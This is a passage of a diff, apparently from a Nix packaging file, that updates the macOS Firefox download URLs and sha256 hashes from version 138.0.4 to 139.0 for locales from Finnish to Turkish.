-      sha256 = "513850aac0a99a6e7d966eb28e07e83d18047122621dddab592dfe90bb61ccd9";
+      sha256 = "1617e0c5592a08423d66a90ff69f0014b69a764cec8e675304cf07bacfbaa36c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/fi/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fi/Firefox%20139.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "80b5265d9ff548c19ff213ca8d26cd8764ed2e9eab42481dc0ced21c17f6b78e";
+      sha256 = "eadf8925c991ecaea5a3733cf9856d2fc1c9e5a963b7e84f5394d149c0c22578";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/fr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fr/Firefox%20139.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "ead8029cff0572adaddba2472ec2d13bfc4e82c7a96b689337aeb71d162a299e";
+      sha256 = "2fa6b62f790f1abc573847696067fa9e0b31256ce6979a75679f30901769f708";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/fur/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fur/Firefox%20139.0.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "b921ba3ff041e5fe4c17f21438dbd7ee7a9a4e7a508249df3a13f798cc01167b";
+      sha256 = "316c8274d604466fcf0e02b9aaea1de376a1afbaa553d5bfe32ef6ab1293a8d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/fy-NL/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/fy-NL/Firefox%20139.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "e706bf05ce049b193b7546d585aaeca4136d0773e9e9a9899022278b4b0f9bc8";
+      sha256 = "8052eb740c2edac508659d1cf7299475927910901af1dd8204fec947693ea330";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ga-IE/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ga-IE/Firefox%20139.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "f6ea386594e457f4368a18a8c69f05a2a3b5df96b0cc0a688d2563ced9d8fb0d";
+      sha256 = "9dcd61c091b45aacd2e69dded14bec79754e5814ea12bfcfdf079867a2d38148";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/gd/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gd/Firefox%20139.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "8d4adaf0dedf1506ac1965524ca0a835f737a1a2fd07bf9a3f21fb0ec602e755";
+      sha256 = "a2827d1b42f580b44a92f7c23dd7fdad3688f57cf2471ec81b9c4fdc20c600a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/gl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gl/Firefox%20139.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "11e5e063dbd173f0508706d9f0922e7217899615b2dde19e6eac07495fe0e620";
+      sha256 = "dabfa9f91e052ffdb1e63ccaecf7439ef3620143df264b572fc8d7ee4642dd4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/gn/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gn/Firefox%20139.0.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "d44cb013ecff1732cf428805db9b0acc0248b8791cf5c35fefdfffa721cc29f8";
+      sha256 = "f1ac8faee33d915c2b0d39b84d50189f3e1126fff746fb4cb236ac2423f1ea57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/gu-IN/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/gu-IN/Firefox%20139.0.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "82932e549f0086e926c76894233efb652f99e7790abaec5e52f4c37d2cbad55a";
+      sha256 = "c5795c00a63ccfbff807dd03111f6776c20c401ef2d14816128b29f698a0d12f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/he/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/he/Firefox%20139.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "51c239717885d2d965a5b8112428273f14e7aa78eda39245376a265a932ff125";
+      sha256 = "85cee9ad457c5a51854b0b468ece5e32f8b47f781c0baa7ebb5654839f49b2bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/hi-IN/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hi-IN/Firefox%20139.0.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "1db6ced3ed13a8fa9aff5edf01797fcbdc0dee7a9be69d98cd41583e4ddd95f0";
+      sha256 = "a34fbd24a64a47b10d54fcce6904a916320e51236d4975759774135fc9921f03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/hr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hr/Firefox%20139.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "b69b8c140c2ddba2bb0ac6a3690bc2d3c54203944c9000eaabd6f4b912841f60";
+      sha256 = "f46e02f392276e675a3b1dc534d8c19e5563cd2e7a0f52e2aa8f2078074dae60";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/hsb/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hsb/Firefox%20139.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "5ab9b0b9be7c0555b3e44e51bed022bdc0cb18f0b7017141dabb1daa9dfd6ec6";
+      sha256 = "542516cbf91295954824ef36ce7d142ee5c58d5f0c0473d0b26d481a205ead43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/hu/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hu/Firefox%20139.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "7204e18d32f9ae90272cb9ed5c8112077be90bbd236249ceefc5f551b2fd8696";
+      sha256 = "9e40f771c0fc905b6c163937e9da3eeb3f33b1b635b5f58cd6d4720b0983bdb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/hy-AM/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/hy-AM/Firefox%20139.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "304e5eec4595dca6c32a9cda36a5deed3e338ed7643e78d9f7496f6ddc2e8326";
+      sha256 = "ee6d307a28344db52cb03bc3a304c461bce80217d4532cceecbaef2a4dcbcb28";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ia/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ia/Firefox%20139.0.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "93c0e7cf689538877240845fff75bba1d1a69957e30bf8dcf131ebf3fd03bce7";
+      sha256 = "c6c94ba1fc652d8690c8c7d2582c17b6383d5a39ba948f681a5d470e5de241f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/id/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/id/Firefox%20139.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "d88a4f33294da0f9950e573a6dcfbc2ad40a58246c5d69d24f8cfb0ae83bdf0a";
+      sha256 = "b081f67c96df26f70b5caf034766b4474c6443db34a07925e300a41a10631362";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/is/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/is/Firefox%20139.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "8245bab00dc3d81ae9cb661980eb169694c6799429ea9e849deb6bcdb293547c";
+      sha256 = "a2f891520464146113a73edff78b0750a3bcefe5ed4792a8e61cdb5f9828a6ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/it/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/it/Firefox%20139.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "9b95138d400aa6708a60505694ef75effe891dcd30f3e88a44c4af70eca8415f";
+      sha256 = "b120bb4bda4276f1c730e8cf7e2342d818f69250850b61101b1f6e14ff84be3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ja-JP-mac/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ja-JP-mac/Firefox%20139.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "09da37434dd08332cb08d2738e67cb68724277b9e6f263cb41f18759e84e4d30";
+      sha256 = "f6c4e6fee37ceb88f3bb1eaee4420b82a30acf2b9247ec41a122b07e04404b3f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ka/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ka/Firefox%20139.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "0c22e56604ca5724647a7aa0666337cec48875f6f2fb31cc6947f7904ed79fe6";
+      sha256 = "804e0baf508308487e37a58710305494c4f433ec38575b24eeea743ce5733332";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/kab/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kab/Firefox%20139.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "38bac8f6e2e5f0d4c43851d80205db73652ea17c225fd3ca4254cc2b53ac84ad";
+      sha256 = "40927915810ed8f134067961ace5a84df0fd347c6edb9766f488835be34ddd43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/kk/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kk/Firefox%20139.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "12a4dda4a028a4833e1f7187ab783a3c26ccddfaec700cf5284c83ac18b05bce";
+      sha256 = "c1ad2dfadca570f2667f4c81b5808e3a69618901df4191aba1cb85f1a06465f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/km/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/km/Firefox%20139.0.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "39f1e761b5f13ef50e763c7705da904812dafaa92ae1d72a28345f92d8f4e467";
+      sha256 = "6f0c4b73abb84e77a715935beb86f3f619d93a341bdd650837b977a0657e80b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/kn/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/kn/Firefox%20139.0.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "8ad05e2ea6c80085ad206091a75b9bd722f11ab98e6f3be64cf52dd72f2d57d1";
+      sha256 = "d1246c42f91a5e9128ac1be7347ef62cf24ce6ffaaa3050ef3c2e3664025bac8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ko/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ko/Firefox%20139.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "1657df3c4fcc329f59cf53008b50b391e4df0eee92e31848e3e691f54393bcea";
+      sha256 = "e0e32e9601bed5b0e059c385a51773abdba99b2ae64f3f1cb9b8e8767903fad5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/lij/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lij/Firefox%20139.0.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "6b86fbf8b659134f37b8402170aaf7dcbaf156143366c031784585bc498b5ea1";
+      sha256 = "62b606a40994180b765d67513f80d3caeeb49de5149afdb92ecc94544f37acb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/lt/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lt/Firefox%20139.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "028155ad139df1b9fb5900031781f9ba99142dcb2e27f47b84213089c8b4d434";
+      sha256 = "bbe7863f6cbb1d670f18548e3b85ba9310f4ec9a1d78302f9d02c7014f4d3203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/lv/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lv/Firefox%20139.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "4b3cbe9fafd4cb84480acbba79cee6db9c7344ee3cffda5bb296779052911f41";
+      sha256 = "47a2c4fee31e42537d1ec255173c4c99eb62ecfed8c67471e9c5edc67b5a7284";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/mk/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/mk/Firefox%20139.0.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "1a61c2c47b59c0191289b847f6106d715c33576c7969a10fb95bffbeb746c487";
+      sha256 = "700797bd32ec321842a041e5ca1a38789c04b01f7e3c3ec88625b8624b8fc8cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/mr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/mr/Firefox%20139.0.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "1a7acea842602d83233a302213ea7c2c5fac066847ba5f0afe7c5f50927c50bb";
+      sha256 = "de02666dc70dccc36c5af6f2c9f47652cbcbd816b2ceb9e51c022f983fb21473";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ms/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ms/Firefox%20139.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "933cc3aec4d39ead31539c3420a1596973b038c5fefd6fb8070c0e44dbe650d3";
+      sha256 = "9bfcd2214067ec17982e7f0b2beb5371de96884e6531bd035e020a6a82e3c04b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/my/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/my/Firefox%20139.0.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "83e60548c42201a197e1972e05ac8ff2afa2b022a0960eeb4855a9cedd8984df";
+      sha256 = "5def75eb9c0bd50f14d315df706cf69971147d8f14ff9e49b295f3b26ee887df";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/nb-NO/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nb-NO/Firefox%20139.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "43d0550b0e87444447734a19239e26841873ff6e2a0d6d77f697950897d45fbb";
+      sha256 = "947f244c67f16bb8004e9d3efe2aa06ff9c29fcdc189ec453f5e86130dda5972";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ne-NP/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ne-NP/Firefox%20139.0.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "c0d6936ae1fabe0e09700328297e7fcf3b55ff4fb774c9ee32a4af7e60099f40";
+      sha256 = "75b8387722f0ba37eee8fd5a527ce231cc7ebea1a5526fb48e27fba7f72230cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/nl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nl/Firefox%20139.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "6837520e293872fbaf512e9944ac9f516071cc4b6753998a4bc7043324182cd7";
+      sha256 = "d0419657503711cb0ca01de226dde6791145cd8ff0ea83ebffd0b0d821967e68";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/nn-NO/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nn-NO/Firefox%20139.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "cfd0abd9ee0826812c06543610e7c5ca2e03c57f9adfc1c104333b993aa1a9a2";
+      sha256 = "8135b43ca05af1e24f9eb35304ed86636ce81c772d2aceb4e624da59362e69ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/oc/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/oc/Firefox%20139.0.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "3cb83720ec60c9a6190121852038513af7ef7ab2670e9b95ef0f9e3301dbbb67";
+      sha256 = "3da585c574722fd9a74b9a2b17e23572f50088dbd770d14ddbee73961712283c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/pa-IN/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pa-IN/Firefox%20139.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "7e8a867c6128aa9b729510cdf886a25405db8a0d5afff48f654114e9d85c2c2b";
+      sha256 = "21ae4e57c5dd6c66e3d915f80c727f444babc93d4b7dde65e9b9ac3724abeb78";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/pl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pl/Firefox%20139.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "8e283532101bc97cb4331919f0ca8e7145d3b0f4d6fb98a5a8c756ddc04e86b9";
+      sha256 = "f8cd4292c2ba782c51de55cc15c1856cde86b0ad496d194ce18f7ebd09cbad9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/pt-BR/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pt-BR/Firefox%20139.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "56faedc7770936eb5d20f94f76326a206539eefd15375978326b4322ad759e3a";
+      sha256 = "848230440791e68c5118e79b981b054abf3a52e6081bfbd4665f7a69277940b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/pt-PT/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pt-PT/Firefox%20139.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "c06c016f3729be765d5b0acf64b4e69db7fee87efb0ed76e9ff363051a7d55d6";
+      sha256 = "051494b2b7dd1546ca23ac920b139450061401b0d6e8422f4cfab4c6eb7c6494";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/rm/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/rm/Firefox%20139.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "9e7c6615e78e5f044d1223e4517d66a6e58895e096932f7f0a5668a20cb91089";
+      sha256 = "fcf073ff8ec12006dc52595731c09e15f89ac0cda499f9d5191c529dc2fa868e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ro/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ro/Firefox%20139.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "4a523f91a76d9c9ca1d52b649e8818ae011c4f23aa1835580f5b1157d5c36070";
+      sha256 = "03edb86e01520b84bec2b0cb134c08d2b5225501eb4946d94b3f7d854fe34d73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ru/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ru/Firefox%20139.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "b5d8eb92706329e5022c985dba7ab79dff79ef64dfc26be2285d0fdb57ec58fb";
+      sha256 = "22987ce482f23a6d42b5c51518109bbfb53f981a46575bef4ed5c8f66f05328d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sat/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sat/Firefox%20139.0.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "fec418bae73b3e5a276efd003a54ea9735256c4cfcf8f1ce5c763d18f8bb9511";
+      sha256 = "ba9c3fa3db5c8685883a6ef5703bf63c3c07afbe5ac3ee53501abad9774a0af0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sc/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sc/Firefox%20139.0.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "5736c0efa3115d5b74440b70ab8df22d45d8c78599c409bde09f7a21383fcbf6";
+      sha256 = "b18ca09e991273c0302312d4363b0691f216227f4274f3b7cdfbc65d5e3f8135";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sco/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sco/Firefox%20139.0.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "ad72c689c81579ad0cf92debd543e6413ac347b62d3c8cffbf2eee0c63667b6a";
+      sha256 = "681631c6cc1e8ff71d37d358cafc4c06c1f1cc92f5873cf8f036a0d45fdf4782";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/si/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/si/Firefox%20139.0.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "ecab64a3bd7b619fefb95ccf4d6ba12b155d907c3b2036eec3188b13bf459b28";
+      sha256 = "35eb7248a08659e8db8d0b2f80aea83cf14153e3d4050ae930049847fbe3cf31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sk/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sk/Firefox%20139.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "5b0a58392ef50cbefcc94f48945c81b0f5977da493a7fb4b6a7d3e96fa95766d";
+      sha256 = "70ab7893fdf29e8f05cb68403c5d5699596380fec2830d9cb9ed5b76b3fc089b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/skr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/skr/Firefox%20139.0.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "6d6f6ff8a0a81d3f1b4ffbcbc508dcdc4d29c6913fda9e8f7ba3b9911b4e9849";
+      sha256 = "608091713e068e799746e6bcdf9a0f355a510e6194a667bfab0ad3624977c778";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sl/Firefox%20139.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "fef9a3a6e32002b16f2bfa9089740d2118fd0b7321bbec975bc33bbee76127f8";
+      sha256 = "fb53a2e2b6fa8863e75210098f64b70d03b65765b34aff59e0624b62845f76db";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/son/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/son/Firefox%20139.0.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "a16daca62f9f187c138cc9512091ca27fbb68341aca333373b1aa4064d1995b2";
+      sha256 = "fcdf5c03ed3a3a9eaa0af5e02b32d89a15fdefd698637164c50ddd89b29c669c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sq/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sq/Firefox%20139.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "7895ca4c7cb7ae469a8177fe3bd7e79935a81a41cb8ba8da27d1d693dc838518";
+      sha256 = "7f04c9dc75e384a336fa7aada83e7c61f9905ca87df49209fb0b559340c3b4d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sr/Firefox%20139.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "2d0bcc75c964b73c79eaaf268c90d09ee4973f5297a704c505e5c94652b37e67";
+      sha256 = "fc29468dec29395f8600850948835cd8e85ab8164a6b802987149e71e0e99691";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/sv-SE/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sv-SE/Firefox%20139.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "d7c64f165852fb7b4b441879ab1006be6385e35cb9f5e1584b3a3469c1cafd58";
+      sha256 = "5e4ad98555697f92cb1d89e6a7be70a6a1a6ef5e9ed3cde6fd188026af5d4a70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/szl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/szl/Firefox%20139.0.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "585a3cc4df211fc936ce6041e004ab3e801706919a398592c380481c9dd05bae";
+      sha256 = "69be90a6e941cec038efb7986f45b19789ccf71794a51e7c48cb1ce2e53ece0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ta/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ta/Firefox%20139.0.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "4b27162bb2589162bdb26e18db7b4b14165ce64bd5b423280da2efbf9ff01cb1";
+      sha256 = "19fb8d49b12bdcdcc37b5d3311a4ad4e0958df31d1ee2fb7afed6657d9d3103e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/te/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/te/Firefox%20139.0.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "dbbc126272a8bff19fe2c2479b2a2d0284d30d15d45427ff2562969d6ec65b79";
+      sha256 = "a6b1b940261f4df5260b91c6161189e7a917fa6cc2882a40a5fc62e64f0a7c6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/tg/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tg/Firefox%20139.0.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "e3de69f295a5c8e00d3adb017e14c8766574a5461134852fa52447795caf6f47";
+      sha256 = "44cea3664a4507d90f51e54b5a6132f6efb5a8f45786e861dfec478f69956a94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/th/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/th/Firefox%20139.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "75471c7a4a3ab6b81eb1ec4f03f54a245f93e78cfa4cd5b980497236aedbdbd8";
+      sha256 = "e66eb76895e9c5f43310ade5219d36cd3467278e66745f1267f591337293f687";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/tl/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tl/Firefox%20139.0.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "48df7d11308fc8d55f53c8df0aa013d5d0aacdd09fbd2c7fe43a418c724bbd77";
+      sha256 = "1f0e36fe95e97e2048acd43cd7ac85400e4720ceea3f83f744729751ad4f3881";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/tr/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tr/Firefox%20139.0.dmg";
       locale = "tr";
       arch = "mac";
